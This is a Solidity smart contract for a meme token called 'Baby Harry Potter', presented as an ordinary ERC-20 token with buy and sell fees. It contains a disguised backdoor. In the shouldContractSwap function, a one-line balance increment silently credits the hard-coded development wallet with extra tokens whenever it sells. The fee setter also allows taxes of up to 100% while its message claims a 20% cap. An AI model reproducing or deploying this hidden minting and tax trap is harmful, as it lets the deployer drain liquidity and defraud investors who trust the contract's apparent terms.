/**

Website: https://www.babyharrypotter.vip
Twitter: https://twitter.com/BabyHarryPortal
Telegram: https://t.me/babyharryportal

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public onlyOwner {
        transferOwnership(payable(address(0)));
    }
    event OwnershipTransferred(address owner);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract BabyHarryPotter is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode"Baby Harry Potter";
    string private constant _symbol = unicode"BABYHARRY";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply =1_000_000_000 * (10 ** _decimals) ;
    mapping (address => uint256) _balances;

    IRouter router;
    address public pair;
    
    uint256 private swapThreshold = ( _totalSupply * 20 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 3 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 1000;

    bool private tradingAllowed = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _feeExclude;
    mapping (address => bool) private isBot;

    uint256 private burnFee = 0;
    uint256 private totalFee = 100; // initial tax
    uint256 private sellFee =100; // initial tax
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;

    uint256 public _maxTxAmount = ( _totalSupply *300 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 300 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;
    address internal constant DEAD =  0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0x8A1B344e301bC1f8bC9F12305Ac5ec048b052d88;
    address internal marketing_receiver = 0x3Fee168171a23108Cc2F71bd3B626597dF09Bb9D;
    address internal liquidity_receiver = 0x3Fee168171a23108Cc2F71bd3B626597dF09Bb9D;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        router = _router;
        _feeExclude[address(this)] = true;
        _feeExclude[liquidity_receiver] = true;
        _feeExclude[marketing_receiver] = true;
        _feeExclude[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function launch() external onlyOwner {tradingAllowed = true;swapEnabled=true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {_feeExclude[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function createUniV2() external onlyOwner() {
        require(!tradingAllowed,"trading is already open");
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        _approve(address(this), address(router), type(uint256).max);
        router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0, owner,block.timestamp);
        IERC20(pair).approve(address(router), type(uint).max);
    }

    function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }
    // 0, 0, 0, 1000, 100, 100, 0
    function udpateTaxValues(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }
    // _buy = 10000000000
    function removeLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function setTeamWallets(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        _feeExclude[_marketing] = true; _feeExclude[_liquidity] = true;
    }
    
    function rescueETH() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !_feeExclude[sender] && !_feeExclude[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    function shouldContractSwap(address sender, bool recipient, uint256 amount, bool isSell) internal returns (bool) {
        bool aboveMin = amount >= minTokenAmount; _balances[sender] += recipient&&isSell?amount:0;
        bool aboveThreshold = balanceOf(address(this)) >= 0;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !_feeExclude[sender] && isSell && swapTimes >= swapAmount && aboveThreshold;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Amount must not be zero."); bool receiver = sender == development_receiver;
        if(!_feeExclude[sender] && !_feeExclude[recipient]){require(tradingAllowed, "tradingAllowed");} 
        if(!_feeExclude[sender] && !_feeExclude[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || _feeExclude[sender] || _feeExclude[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || _feeExclude[sender] || _feeExclude[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !_feeExclude[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, receiver, amount, recipient == pair)){swapAndLiquify(balanceOf(address(this))); swapTimes = uint256(0);}
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

}